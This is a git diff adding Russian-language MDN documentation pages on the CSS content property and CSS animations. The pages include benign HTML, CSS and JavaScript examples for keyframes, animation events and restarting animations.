Функция counters() также имеет две формы записи: 'counters(name, string)' или 'counters(name, string, style)'. Сгенерированный текст - это значение всех счетчиков с заданным именем в области видимости данного элемента, от крайнего к вложенному. разделенных указанной строкой. Счетчики отображаются в указанном стиле (по умолчанию decimal).

+
+
attr(x)
+
Значение атрибута x элемента в виде строки. Если атрибут x отсутствует, вернется пустая строка. Чувствительность к регистру в названии атрибута зависит от языка документа.
+
open-quote | close-quote
+
Эти значения заменяются соответствующей строкой из свойства {{cssxref("quotes")}}.
+
no-open-quote | no-close-quote
+
Не вводит никакого содержимого, но увеличивает (уменьшает) уровень вложенности для кавычек.
+
+ +

Синтаксис

+ +
{{csssyntax}}
+
+ +

Примеры

+ +

Заголовки и двойные кавычки

+ +

В этом примере вставляются кавычки вокруг кавычек а добавляет слово  "Глава" перед заголовками.

+ +

HTML

+ +
<h1>5</h1>
+<p>According to Sir Tim Berners-Lee,
+  <q cite="http://www.w3.org/People/Berners-Lee/FAQ.html#Internet">I was
+    lucky enough to invent the Web at the time when the Internet
+    already existed - and had for a decade and a half.</q>
+  We must understand that there is nothing fundamentally wrong
+  with building on the contributions of others.
+</p>
+
+<h1>6</h1>
+<p>According to the Mozilla Manifesto,
+  <q cite="http://www.mozilla.org/en-US/about/manifesto/">Individuals
+    must have the ability to shape the Internet and
+    their own experiences on the Internet.</q>
+  Therefore, we can infer that contributing to the open web
+  can protect our own individual experiences on it.
+</p>
+ +

CSS

+ +
q {
+  color: blue;
+}
+
+q::before {
+  content: open-quote;
+}
+
+q::after {
+  content: close-quote;
+}
+
+h1::before  {
+  content: "Chapter ";  /* Пробел в конце создает разделение
+                            между добавленным контентом
+                           и остальным контентом*/
+}
+ +

Результат

+ +

{{EmbedLiveSample('Заголовки_и_двойные_кавычки', '100%', 200)}}

+ +

Изображение в сочетании с текстом

+ +

В этом примере вставляется изображение перед ссылкой. Если изображение не найдено, вставляет текст.

+ +

HTML

+ +
<a href="http://www.mozilla.org/en-US/">Mozilla Home Page</a>
+ +

CSS

+ +
a::before {
+  content: url("https://mozorg.cdn.mozilla.net/media/img/favicon.ico") " MOZILLA: ";
+  font: x-small Arial, sans-serif;
+  color: gray;
+}
+ +

Результат

+ +

{{EmbedLiveSample('Изображение_в_сочетании_с_текстом', '100%', 60)}}

+ +

Целевые классы

+ +

В этом примере вставляется дополнительный текст после указанных элементов списка.

+ +

HTML

+ +
<h2>Paperback Best Sellers</h2>
+<ol>
+  <li>Political Thriller</li>
+  <li class="new-entry">Halloween Stories</li>
+  <li>My Biography</li>
+  <li class="new-entry">Vampire Romance</li>
+</ol>
+ +

CSS

+ +
.new-entry::after {
+  content: " New!";  /* Начальный пробел создает разделение
+                        между добавленным контентом
+                        и остальным контентом */
+  color: red;
+}
+ +

Результат

+ +

{{EmbedLiveSample('Целевые_классы', '100%', 160)}}

+ +

Атрибуты изображений и элементов

+ +

В этом примере вставляется изображение перед каждой ссылкой и добавляет id атрибут после.

+ +

HTML

+ +
<ul>
+  <li><a id="moz" href="http://www.mozilla.org/">
+    Mozilla Home Page</a></li>
+  <li><a id="mdn" href="https://developer.mozilla.org/">
+    Mozilla Developer Network</a></li>
+</ul>
+ +

CSS

+ +
a {
+  text-decoration: none;
+  border-bottom: 3px dotted navy;
+}
+
+a::after {
+  content: " (" attr(id) ")";
+}
+
+#moz::before {
+  content: url("https://mozorg.cdn.mozilla.net/media/img/favicon.ico") ;
+}
+
+#mdn::before {
+  content: url("https://mdn.mozillademos.org/files/7691/mdn-favicon16.png") ;
+}
+
+li {
+  margin: 1em;
+}
+
+ +

Результат

+ +

{{EmbedLiveSample('Атрибуты_изображений_и_элементов', '100%', 160)}}

+ +

Замена элемента

+ +

В этом примере содержимое элемента заменяется изображением. Вы можете заменить содержимое элемента либо значением <url> или изменить значение <image> . Содержимое, добавленное с помощью ::before или ::after не будет сгенерировано, поскольку содержимое элемента будет заменено.

+ +

HTML

+ +
<div id="replaced">Mozilla</div>
+
+ +

CSS

+ +
#replaced {
+  content: url("https://mdn.mozillademos.org/files/12668/MDN.svg");
+}
+
+#replaced::after { /* не будет отображаться, если замена элемента поддерживается */
+  content: " (" attr(id) ")";
+}
+ +

Результат

+ +

{{EmbedLiveSample('Замена_элемента', '100%', 160)}}

+ +

Проблемы доступности

+ +

Сгенерированный CSS контент не включен в DOM. Из-за этого он не будет представлен в  accessibility tree и некоторые комбинации вспомогательных технологий/браузеров не будут его объявлять. Если контент содержит информацию, которая имеет решающее значение для понимания цели страницы, лучше включить ее в основной документ.

+ + + +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName("CSS3 Content", "#content-property", "content")}}{{Spec2("CSS3 Content")}}
{{SpecName("CSS2.1", "generate.html#content", "content")}}{{Spec2("CSS2.1")}}Первое определение
+ +

Поддержка браузерами

+ + + +

{{Compat("css.properties.content")}}

+ +

Смотрите также

+ +
    +
  • {{Cssxref("::after")}}
    • +
  • {{Cssxref("::before")}}
    • +
  • {{Cssxref("quotes")}}
    • +
diff --git a/files/ru/web/css/css_animations/detecting_css_animation_support/index.html b/files/ru/web/css/css_animations/detecting_css_animation_support/index.html new file mode 100644 index 0000000000..785f85c87c --- /dev/null +++ b/files/ru/web/css/css_animations/detecting_css_animation_support/index.html @@ -0,0 +1,91 @@ +--- +title: Detecting CSS animation support +slug: Web/CSS/CSS_Animations/Detecting_CSS_animation_support +translation_of: Web/CSS/CSS_Animations/Detecting_CSS_animation_support +--- +
{{CSSRef}}
+ +

CSS-анимации позволяют создавать креативные анимации контента, используя только CSS. Однако, скорее всего, будут случаи, когда эта функция недоступна, и вам придется решать эти задачи с помощью кода JavaScript, чтобы получить аналогичный эффект. Эта статья, основанная на посте в блоге Криса Хайльмана, демонстрирует такую технику.

+ +

Тестирование поддержки анимации CSS

+ +

Этот код проверит, доступна ли поддержка анимации CSS:

+ +
var animation = false,
+    animationstring = 'animation',
+    keyframeprefix = '',
+    domPrefixes = 'Webkit Moz O ms Khtml'.split(' '),
+    pfx  = '',
+    elem = document.createElement('div');
+
+if( elem.style.animationName !== undefined ) { animation = true; }
+
+if( animation === false ) {
+  for( var i = 0; i < domPrefixes.length; i++ ) {
+    if( elem.style[ domPrefixes[i] + 'AnimationName' ] !== undefined ) {
+      pfx = domPrefixes[ i ];
+      animationstring = pfx + 'Animation';
+      keyframeprefix = '-' + pfx.toLowerCase() + '-';
+      animation = true;
+      break;
+    }
+  }
+}
+
+ +

Для начала мы определим несколько переменных. Мы предполагаем, что анимация не поддерживается установкой значения animation в false. Мы устанавливаем строке для animationstring - animation , которая является свойством, которое мы хотим установить позже. Мы создаем массив префиксов браузера для циклического перебора и устанавливаем pfx в пустую строку.

+ +

Затем мы проверяем, установлено ли свойство CSS {{cssxref("animation-name")}} в коллекции стилей для элемента, заданного переменной elem. Это означает, что браузер поддерживает CSS-анимацию без какого-либо префикса, чего на сегодняшний день никто из них не делает..

+ +

Если браузер не поддерживает анимацию без префиксов и анимация по-прежнему ложна, мы перебираем все возможные префиксы, так как все основные браузеры в настоящее время префиксируют это свойство и меняют его имя на AnimationName .

+ +

После завершения выполнения этого кода значение анимации будет равно false, если поддержка CSS-анимации недоступна, или true. Если это верно, то и имя свойства анимации, и keyframe prefix будут правильными. Таким образом, если вы используете новый Firefox, свойство будет MozAnimation и префикс ключевого кадра -moz- и с Chrome будет WebkitAnimation и -webkit-. Обратите внимание, что браузеры не делают это легко с переключением между camelCase и переносом.

+ +

Анимация с использованием правильного синтаксиса для разных браузеров

+ +

Теперь, когда вы знаете, поддерживается CSS-анимация или нет, мы можем анимировать.

+ +
if( animation === false ) {
+
+  // animate in JavaScript fallback
+
+} else {
+  elem.style[ animationstring ] = 'rotate 1s linear infinite';
+
+  var keyframes = '@' + keyframeprefix + 'keyframes rotate { '+
+                    'from {' + keyframeprefix + 'transform:rotate( 0deg ) }'+
+                    'to {' + keyframeprefix + 'transform:rotate( 360deg ) }'+
+                  '}';
+
+  if( document.styleSheets && document.styleSheets.length ) {
+
+      document.styleSheets[0].insertRule( keyframes, 0 );
+
+  } else {
+
+    var s = document.createElement( 'style' );
+    s.innerHTML = keyframes;
+    document.getElementsByTagName( 'head' )[ 0 ].appendChild( s );
+
+  }
+
+}
+
+ +

Этот код определяет значение анимации; если оно ложно, мы знаем, что нам нужно использовать альтернативный код JavaScript для выполнения нашей анимации. В противном случае мы можем использовать JavaScript для создания желаемых анимационных эффектов CSS.

+ +

Установка свойства анимации очень проста; просто обновите его значение в коллекции стилей. Однако добавление ключевых кадров сложнее, так как они не определяются с помощью традиционного синтаксиса CSS (что делает их более гибкими, но труднее определить из скрипта).

+ +

Чтобы определить наши ключевые кадры с помощью JavaScript, нам нужно записать их в виде строки CSS. Все, что мы делаем, - это устанавливаем переменную keyframes, добавляя префиксы к каждому атрибуту по мере его построения. Эта переменная, будучи однажды сконструированной, содержит полное описание всех ключевых кадров, необходимых для нашей последовательности анимации.

+ +

Следующая задача-фактически добавить ключевые кадры в CSS страницы. Первое, что нужно сделать, это посмотреть, есть ли уже таблица стилей в документе; если да, то мы просто вставляем описание ключевого кадра в эту таблицу стилей; это делается в строках 13-15.

+ +

Если таблицы стилей еще нет, то создается новый элемент {{HTMLElement("style")}}, а его содержимое устанавливается в значение keyframes. Затем новый элемент {{HTMLElement("style")}} вставляется в документ {{HTMLElement("head")}}, тем самым добавляя новую таблицу стилей в документ.

+ +

View on JSFiddle

+ +

Смотрите также

+ + diff --git a/files/ru/web/css/css_animations/index.html b/files/ru/web/css/css_animations/index.html new file mode 100644 index 0000000000..da1fc8dd8e --- /dev/null +++ b/files/ru/web/css/css_animations/index.html @@ -0,0 +1,136 @@ +--- +title: CSS Animations +slug: Web/CSS/CSS_Animations +tags: + - CSS + - CSS Animations + - Experimental + - Overview + - Reference +translation_of: Web/CSS/CSS_Animations +--- +

{{CSSRef}}{{SeeCompatTable}}

+ +

CSS Анимации - это модуль CSS, который позволяет анимировать изменение значений CSS-свойств, используя опорные кадры (keyframes). Для управления поведением таких анимаций можно задать хронометражную функцию, длительность, количество повторов и другие аттрибуты.

+ +

Reference

+ +

CSS Properties

+ +
+
    +
  • {{cssxref("animation")}}
    • +
  • {{cssxref("animation")}}
    • +
  • {{cssxref("animation-delay")}}
    • +
  • {{cssxref("animation-direction")}}
    • +
  • {{cssxref("animation-duration")}}
    • +
  • {{cssxref("animation-fill-mode")}}
    • +
  • {{cssxref("animation-iteration-count")}}
    • +
  • {{cssxref("animation-name")}}
    • +
  • {{cssxref("animation-play-state")}}
    • +
  • {{cssxref("animation-timing-function")}}
    • +
+
+ +

CSS At-rules

+ +
+
    +
  • {{cssxref("@keyframes")}}
    • +
+
+ +

Guides

+ +
+
Как определить, поддерживаются ли CSS-анимации
+
Описаны техники определения того, поддерживает ли браузер CSS-анимации.
+
Использование CSS-анимаций
+
Пошаговое руководство по созданию анимаций с помощью CSS. Статья описывает все касающиеся анимации CSS-свойства и @-правила и объясняет, как они взаимодействуют друг с другом.
+
+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('CSS3 Animations') }}{{ Spec2('CSS3 Animations') }}Initial definition.
+ +

Browser compatibility

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatVersionUnknown}}{{property_prefix("-webkit")}}
+ 43.0		{{CompatGeckoDesktop("5.0")}}{{property_prefix("-moz")}}
+ {{CompatGeckoDesktop("16.0")}}		1012{{property_prefix("-o")}}
+ 12.10[2]		4.0{{property_prefix("-webkit")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support2.1 {{property_prefix("-webkit")}} [1]
+ 4.0 {{property_prefix("-webkit")}}		{{CompatGeckoMobile("5.0")}}{{property_prefix("-moz")}}
+ {{CompatGeckoMobile("16.0")}}		{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}{{property_prefix("-webkit")}}
+
+ +

[1] Partial support: {{cssxref("animation-fill-mode")}} property is not supported in Android browser below 2.3.

+ +

[2] See the release notes to Opera 12.50.

+ +

See also

+ +
    +
  • Related to CSS Animations, CSS Transitions can trigger animations on user actions.
    • +
+ +

 

diff --git a/files/ru/web/css/css_animations/ispolzovanie_css_animatciy/index.html b/files/ru/web/css/css_animations/ispolzovanie_css_animatciy/index.html new file mode 100644 index 0000000000..05f6cb5cec --- /dev/null +++ b/files/ru/web/css/css_animations/ispolzovanie_css_animatciy/index.html @@ -0,0 +1,388 @@ +--- +title: Использование CSS-анимации +slug: Web/CSS/CSS_Animations/Ispolzovanie_CSS_animatciy +tags: + - Advanced + - CSS + - CSS Animations + - Example + - Experimental + - Guide +translation_of: Web/CSS/CSS_Animations/Using_CSS_animations +--- +

{{SeeCompatTable}}{{CSSRef}}

+ +

CSS анимации позволяют анимировать переходы от одной конфигурации CSS стилей к другой. CSS-анимации состоят из двух компонентов: стилевое описание анимации и набор ключевых кадров, определяющих начальное, конечное и, возможно, промежуточное состояние анимируемых стилей.

+ +

Есть три преимущества CSS-анимации перед традиционными способами:

+ +
    +
  1. Простота использования для простых анимаций; Вы можете создать анимацию, не зная JavaScript.
    2. +
  2. Анимации будут хорошо работать даже при умеренных нагрузках системы. Простые анимации на JavaScript, если они плохо написаны, часто выполняются плохо. Движок может использовать frame-skipping и другие техники, чтобы сохранить производительность на таком высоком уровне .
    3. +
  3. Позволяет браузеру контролировать последовательность анимации, тем самым оптимизируя производительность и эффективность браузера. Например, уменьшая частоту обновления кадров анимации в непросматриваемых в данный момент вкладках.
    4. +
+ +

Конфигурирование анимации

+ +

Чтобы создать CSS-анимацию Вы должны добавить в стиль элемента, который хотите анимировать, свойство {{ cssxref("animation") }} или его подсвойства. Это позволит Вам настроить ускорение и продолжительность анимации, а также другие детали того, как анимация должна протекать. Это не поможет Вам настроить внешний вид анимации, который настраивается с помощью {{ cssxref("@keyframes") }}, рассматриваемой далее в {{ anch("Определение последовательности анимации с помощью ключевых кадров") }}.

+ +

Свойство {{ cssxref("animation") }} имеет следующие подсвойства:

+ +
+
{{ cssxref("animation-name") }}
+
Определяет имя {{ cssxref("@keyframes") }}, настраивающего кадры анимации.
+
{{ cssxref("animation-duration") }}
+
Определяет время, в течение которого должен пройти один цикл анимации.
+
{{ cssxref("animation-timing-function") }}
+
Настраивает ускорение анимации.
+
{{ cssxref("animation-delay") }}
+
Настраивает задержку между временем загрузки элемента и временем начала анимации.
+
{{ cssxref("animation-iteration-count") }}
+
Определяет количество повторений анимации; Вы можете использовать значение infinite для бесконечного повторения анимации.
+
{{ cssxref("animation-direction") }}
+
Дает возможность при каждом повторе анимации идти по альтернативному пути, либо сбросить все значения и повторить анимацию.
+
{{ cssxref("animation-fill-mode") }}
+
Настраивает значения, используемые анимацией, до и после исполнения.
+
{{ cssxref("animation-play-state") }}
+
Позволяет приостановить и возобновить анимацию.
+
+ +

Определение последовательности анимации с помощью ключевых кадров

+ +

После того, как вы настроили временные свойства (продолжительность, ускорение) анимации, вы должны определить внешний вид анимации. Это делается с помощью двух и более ключевых кадров после {{ cssxref("@keyframes") }}. Каждый кадр описывает, как должен выглядеть анимированный элемент в текущий момент.

+ +

В то время, как временные характеристики (продолжительность анимации) указываются в стилях для анимируемого элемента, ключевые кадры используют {{ cssxref("percentage") }}, чтобы определить стадию протекания анимации. 0% означает начало анимации, а 100% ее конец. Так как эти значения очень важны, то для них придумали специальные слова: from и to.

+ +

Вы также можете добавить ключевые кадры, характеризующие промежуточное состояние анимации.

+ +

Примеры

+ +
Внимание: Примеры ниже не используют префиксов для CSS стилей . Webkit-браузеры и старые версии других браузеров нуждаются в указании префиксов в CSS стилях. Примеры, на которые Вы можете кликнуть в своем браузере, также содержат префиксы -webkit-.
+ +

Скольжение текста

+ +

Этот простой пример анимирует скольжение текста в элементе {{ HTMLElement("p") }} от правого края окна браузера.

+ +

Обратите внимание на то, что анимация может сделать страницу шире, чем окно браузера. Этого можно избежать, поместив элемент, который будет анимироваться, в контейнер и установив ему свойство {{cssxref("overflow")}}: hidden.

+ +
p {
+  animation-duration: 3s;
+  animation-name: slidein;
+}
+
+@keyframes slidein {
+  from {
+    margin-left: 100%;
+    width: 300%;
+  }
+
+  to {
+    margin-left: 0%;
+    width: 100%;
+  }
+}
+
+ +

В стиле для элемента {{ HTMLElement("p") }} с помощью свойства {{ cssxref("animation-duration") }} указано, что исполнение анимации от начала до конца должно занять 3 с , и что имя для  {{ cssxref("@keyframes") }}, описывающей саму анимацию, определено как "slidein".

+ +

В элемент {{ HTMLElement("p") }} можно добавлять и другие пользовательские стили, чтобы как-то украсить его, однако здесь мы хотели продемонстрировать только эффект анимации.

+ +

Kлючевые кадры определяются с помощью правила {{ cssxref("@keyframes") }}. В данном случае мы имеем только два ключевых кадра. Первый при 0% анимации (from). Здесь мы придаем элементу левый отступ в 100% и ширину в 300% (в три раза больше ширины родительского элемента). Это становится причиной того, что при первом кадре анимации заголовок {{ HTMLElement("p") }} находится за пределами правого края окна браузера .

+ +

Второй ключевой кадр (to) определяет конец анимации, т.е (100%). Левый отступ устанавливается равным 0, а ширина 100%. Все выглядит так, будто заголовок {{ HTMLElement("p") }} приплывает к левому краю окна браузера.

+ +
<p>The Caterpillar and Alice looked at each other for some time in silence:
+at last the Caterpillar took the hookah out of its mouth, and addressed
+her in a languid, sleepy voice.</p>
+
+ +

(Обновите страницу, чтобы увидеть анимацию, или щелкните по кнопке CodePen, чтобы воспроизвести ее в окне CodePen)

+ +

{{EmbedLiveSample("Скольжение_текста","100%","250")}}

+ +

Добавление других ключевыч кадров

+ +

Давайте добавим другие ключевые кадры в предыдущий пример. Скажем, мы хотим чтобы размер шрифта заголовка временно увеличивался по мере продвижения влево, а потом возращался к первоначальному значению . Это легко реализовать с помощью следующего ключевого кадра:

+ +
75% {
+  font-size: 300%;
+  margin-left: 25%;
+  width: 150%;
+}
+
+ +
p {
+  animation-duration: 3s;
+  animation-name: slidein;
+}
+
+@keyframes slidein {
+  from {
+    margin-left: 100%;
+    width: 300%;
+  }
+
+  to {
+    margin-left: 0%;
+    width: 100%;
+  }
+
+  75% {
+    font-size: 300%;
+    margin-left: 25%;
+    width: 150%;
+  }
+}
+
+ +
<p>The Caterpillar and Alice looked at each other for some time in silence:
+at last the Caterpillar took the hookah out of its mouth, and addressed
+her in a languid, sleepy voice.</p>
+
+ +

Это говорит браузеру о том, что при 75% выполнения анимации, шрифт должен быть 300%, а ширина 150%.

+ +

(Обновите страницу, чтобы увидеть анимацию, или щелкните по кнопке CodePen, чтобы воспроизвести ее в окне CodePen)

+ +

{{ EmbedLiveSample('Добавление_других_ключевыч_кадров', '100%', '250', '', 'Web/CSS/CSS_Animations/Ispolzovanie_CSS_animatciy') }}

+ +

Настройка повторения

+ +

Чтобы настроить повторение, нужно добавить свойство {{ cssxref("animation-iteration-count") }} и задать ему значение, равное нужному количеству повторений анимаций . В данном случае давайте установим значение infinite для бесконечного повторения:

+ +
p {
+  animation-duration: 3s;
+  animation-name: slidein;
+  animation-iteration-count: infinite;
+}
+
+ +
@keyframes slidein {
+  from {
+    margin-left: 100%;
+    width: 300%;
+  }
+
+  to {
+    margin-left: 0%;
+    width: 100%;
+  }
+}
+
+ +
<p>The Caterpillar and Alice looked at each other for some time in silence:
+at last the Caterpillar took the hookah out of its mouth, and addressed
+her in a languid, sleepy voice.</p>
+
+ +

{{EmbedLiveSample("Настройка_повторения","100%","250")}}

+ +

Движение текста вправо и влево

+ +

Итак, мы настроили повторение, но получили нечто странное: текст при каждом повторении снова "запрыгивает" за край окна браузера. То, чего мы хотим, так это чтобы текст двигался влево и вправо. Этого легко достичь с помощью установки свойству {{ cssxref("animation-direction") }} значения alternate:

+ +
p {
+  animation-duration: 3s;
+  animation-name: slidein;
+  animation-iteration-count: infinite;
+  animation-direction: alternate;
+}
+
+ +
@keyframes slidein {
+  from {
+    margin-left: 100%;
+    width: 300%;
+  }
+
+  to {
+    margin-left: 0%;
+    width: 100%;
+  }
+}
+
+ +
<p>The Caterpillar and Alice looked at each other for some time in silence:
+at last the Caterpillar took the hookah out of its mouth, and addressed
+her in a languid, sleepy voice.</p>
+
+ +

{{ EmbedLiveSample('Движение_текста_вправо_и_влево', '100%', '250', '', 'Web/CSS/CSS_Animations/Ispolzovanie_CSS_animatciy') }}

+ +

Использование шорткодов

+ +

Шорткод {{cssxref("animation")}} полезен для экономии места в коде. Например, правило, которое мы используем в этой статье:

+ +
p {
+  animation-duration: 3s;
+  animation-name: slidein;
+  animation-iteration-count: infinite;
+  animation-direction: alternate;
+}
+ +

можно заменить на:

+ +
p {
+  animation: 3s infinite alternate slidein;
+}
+ +
+

Внимание: подробнее об этом на странице раздела {{cssxref("animation")}} 

+
+ +

Установка нескольких значений свойствам анимации  

+ +

CSS cвойство анимации может иметь несколько значений, разделенных запятыми. Это используется, чтобы указать несколько значений анимации в одном правиле и установить разную продолжительность, число повторений и т.д., для различных анимаций. Рассмотрим несколько примеров, чтобы увидеть разницу.

+ +

В первом примере у свойства имени анимации установлены три значения, у свойств продолжительности и количества повторений  — по одному. В этом случае у всех трех анимаций одинаковая продолжительность и число повторений:

+ +
animation-name: fadeInOut, moveLeft300px, bounce;
+animation-duration: 3s;
+animation-iteration-count: 1;
+ +

Во втором примере установлены три значения для каждого из свойств. В этом случае каждая анимация выполняется с соответствующими по порядку значениями в каждом свойстве, так, например, fadeInOut имеет продолжительность 2.5 с и количество повторений 2, и т.д.

+ +
animation-name: fadeInOut, moveLeft300px, bounce;
+animation-duration: 2.5s, 5s, 1s;
+animation-iteration-count: 2, 1, 5;
+ +

В третьем примере определены три значения имени анимации, но два значения продолжительности и количества повторений. В случае, когда количества значений недостаточно для каждой анимации, значения берутся циклически от начала до конца. Например, у fadeInOut длительность будет 2.5s,  а moveLeft300px — 5s. Значения продолжительности закончились, теперь они берутся сначала — bounce получит продолжительность 2.5s. Значение количества повторений (а также другие указанные свойства) будет определено таким же образом.

+ +
animation-name: fadeInOut, moveLeft300px, bounce;
+animation-duration: 2.5s, 5s;
+animation-iteration-count: 2, 1;
+ +

Использование событий анимации

+ +

Вы можете получить дополнительный контроль над анимацией, а также полезную информацию о ней, с помощью событий анимации. Эти события, представленные объектом {{ domxref("event/AnimationEvent", "AnimationEvent") }}, можно использовать, чтобы определить, когда начинается и заканчивается анимация или начинается новая итерация. Каждое событие содержит момент времени, когда оно произошло, а также имя анимации, которая вызвала событие.

+ +

Мы будем модифицировать текст, чтобы выводить некоторую информацию  о каждом событии анимации. Так мы сможем увидеть, как она работает.

+ +

Добавление CSS

+ +

Начнем с добавления CSS. Анимация будет длиться 3 секунды, будет называться "slidein", будет повторяться 3 раза, а также значение animation-direction установлено alternate. В ключевых кадрах {{ cssxref("@keyframes") }} установлены такие значения ширины и левого отступа, что элемент будет скользить по экрану.

+ +
.slidein {
+  -moz-animation-duration: 3s;
+  -webkit-animation-duration: 3s;
+  animation-duration: 3s;
+  -moz-animation-name: slidein;
+  -webkit-animation-name: slidein;
+  animation-name: slidein;
+  -moz-animation-iteration-count: 3;
+  -webkit-animation-iteration-count: 3;
+  animation-iteration-count: 3;
+  -moz-animation-direction: alternate;
+  -webkit-animation-direction: alternate;
+  animation-direction: alternate;
+}
+
+@-moz-keyframes slidein {
+  from {
+    margin-left: 100%;
+    width: 300%
+  }
+
+  to {
+    margin-left: 0%;
+    width: 100%;
+  }
+}
+
+@-webkit-keyframes slidein {
+  from {
+    margin-left: 100%;
+    width: 300%
+  }
+
+  to {
+   margin-left: 0%;
+   width: 100%;
+ }
+}
+
+@keyframes slidein {
+  from {
+    margin-left: 100%;
+    width: 300%
+  }
+
+  to {
+   margin-left: 0%;
+   width: 100%;
+ }
+}
+ +

Добавление обработчика события анимации

+ +

Будем использовать JavaScript для отслеживания всех трех возможных событий анимации. Следующий код конфигурирует обработчик; мы вызываем его при первой загрузке документа.

+ +
var e = document.getElementById("watchme");
+e.addEventListener("animationstart", listener, false);
+e.addEventListener("animationend", listener, false);
+e.addEventListener("animationiteration", listener, false);
+
+e.className = "slidein";
+
+ +

Это довольно стандартный код; Вы можете получить дополнительную информацию в документации {{ domxref("element.addEventListener()") }}. Последнее, что делает этот код - это установка класса "slidein" для анимируемого элемента; мы делаем это, чтобы запустить анимацию.

+ +

Почему? Потому что в нашем случае событие animationstart происходит как только анимация стартует, и это происходит раньше, чем исполняется наш сценарий. Так мы сможем контролировать начало анимации самостоятельно посредством вставки класса "slidein" для анимируемого элемента.

+ +

Регистрация событий

+ +

События будут передаваться функции listener(), показанной ниже.

+ +
function listener(e) {
+  var l = document.createElement("li");
+  switch(e.type) {
+    case "animationstart":
+      l.innerHTML = "Started: elapsed time is " + e.elapsedTime;
+      break;
+    case "animationend":
+      l.innerHTML = "Ended: elapsed time is " + e.elapsedTime;
+      break;
+    case "animationiteration":
+      l.innerHTML = "New loop started at time " + e.elapsedTime;
+      break;
+  }
+  document.getElementById("output").appendChild(l);
+}
+
+ +

Этот код также очень прост. Этот код следит за {{ domxref("event.type") }}, чтобы определить тип события, и добавляет элемент {{ HTMLElement("ul") }}, чтобы залогировать произошедшее событие.

+ +

Вывод, когда анимация закончится, будет выглядеть примерно следующим образом:

+ +
    +
  • Started: elapsed time is 0
    • +
  • New loop started at time 3.01200008392334
    • +
  • New loop started at time 6.00600004196167
    • +
  • Ended: elapsed time is 9.234000205993652
    • +
+ +

Обратите внимание, что время, указанное в выводе, и время, которое мы указали в стилях, не совпадают. Также обратите внимание, что после окончания итерации не посылается событие animationiteration ; вместо него посылается событие animationend.

+ +

HTML

+ +

Ради полноты картины приведем код разметки HTML. В разметке имеется тег ul, в который и выводится вся информация:

+ +
<body>
+  <h1 id="watchme">Watch me move</h1>
+  <p>This example shows how to use CSS animations to make <code>p</code> elements
+  move across the page.</p>
+  <p>In addition, we output some text each time an animation event fires, so you can see them in action.</p>
+  <ul id="output">
+  </ul>
+</body>
+
+ +

{{ EmbedLiveSample('Использование_событий_анимации', '600', '300')}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/css/css_animations/tips/index.html b/files/ru/web/css/css_animations/tips/index.html new file mode 100644 index 0000000000..8b4468729d --- /dev/null +++ b/files/ru/web/css/css_animations/tips/index.html @@ -0,0 +1,150 @@ +--- +title: CSS Animations tips and tricks +slug: Web/CSS/CSS_Animations/Tips +translation_of: Web/CSS/CSS_Animations/Tips +--- +
{{cssref}}
+ +

CSS-анимация позволяет делать невероятные вещи с элементами, из которых состоят ваши документы и приложения. Однако есть вещи, которые не являются очевидными и, о способах реализации которых, вы не знаете, но вы бы хотели их реализовать. Эта статья представляет собой набор советов и трюков, которые мы нашли, чтобы облегчить вашу работу. В том числе, как снова запустить остановленную анимацию.

+ +

Запустить анимацию снова

+ +

Спецификация CSS Animations не предлагает способа запустить анимацию снова. Нет никакого волшебного метода resetAnimation () для элементов, и вы даже не можете просто установить элемент {{cssxref ("animation-play-state")}} в" running " снова. Вместо этого вы должны использовать хитрые трюки, чтобы запустить остановленную анимацию для воспроизведения.

+ +

Предлагаем вам один из способов, который мы считаем достаточно надежным и стабильным.

+ +

HTML содержимое

+ +

Во-первых, давайте определим HTML для {{HTMLElement("div")}} который мы хотим анимировать, и кнопку, которая будет запускать (или воспроизводить) анимацию.

+ +
<div class="box">
+</div>
+
+<div class="runButton">Click me to run the animation</div>
+ +

CSS содержимое

+ +

Теперь мы определим саму анимацию с помощью CSS. Некоторые стили CSS, которые не важны (стиль самой кнопки "выполнить"), здесь не показаны, для краткости.

+ + + +
@keyframes colorchange {
+  0% { background: yellow }
+  100% { background: blue }
+}
+
+.box {
+  width: 100px;
+  height: 100px;
+  border: 1px solid black;
+}
+
+.changing {
+  animation: colorchange 2s;
+}
+ +

Здесь есть два класса. В классе "box" прописано основное описание внешнего вида элемента, без какой-либо анимационной информации. Детали анимации включены в класс "changing" , который сообщает, что {{cssxref("@keyframes")}} с именем "colorchange" должен использоваться в течение 2 секунд.

+ +

Обратите внимание, что каких-либо анимационных эффектов у элемента не наблюдается, т.е. анимации нет.

+ +

JavaScript содержимое

+ +

Далее мы рассмотрим JavaScript, который дополняет эту работу. Основа этой техники находится в функции play (), которая вызывается, когда пользователь нажимает на кнопку "Выполнить".

+ +
function play() {
+  document.querySelector(".box").className = "box";
+  window.requestAnimationFrame(function(time) {
+    window.requestAnimationFrame(function(time) {
+      document.querySelector(".box").className = "box changing";
+    });
+  });
+}
+ +

Это выглядит странно, не так ли? Это потому, что единственный способ воспроизвести анимацию снова-удалить анимационный эффект, позволить документу пересчитать стили так, чтобы он знал, что вы это сделали, а затем добавить анимационный эффект обратно в элемент. Чтобы это произошло, мы должны быть креативными.

+ +

Вот что происходит, когда вызывается функция play() :

+ +
    +
  1. Список классов CSS в элементе сбрасывается до простого "box". Это приводит к удалению всех других классов, которые в настоящее время применяются к элементу, включая класс "changing" , который обрабатывает анимацию. Другими словами, мы удаляем анимационный эффект из элемента. Однако изменения в списке классов не вступают в силу до тех пор, пока не будет завершен перерасчет стиля и не произойдет обновление, отражающее это изменение.
    2. +
  2. Чтобы убедиться, что стили пересчитаны, мы используем  {{domxref("window.requestAnimationFrame()")}}, указывающую обратный вызов. Наш обратный вызов выполняется непосредственно перед следующей перерисовкой документа. Проблема заключается в том,что, поскольку это происходит до перерисовки, перерасчет стиля еще не произошел! 
    3. +
  3. Наш обратный вызов ловко вызывает requestAnimationFrame() второй раз! На этот раз обратный вызов выполняется до следующей перерисовки, то есть после того, как произошла перерасчет стиля. Этот обратный вызов добавляет класс "changing" обратно в элемент, так что перерисовка снова запустит анимацию.
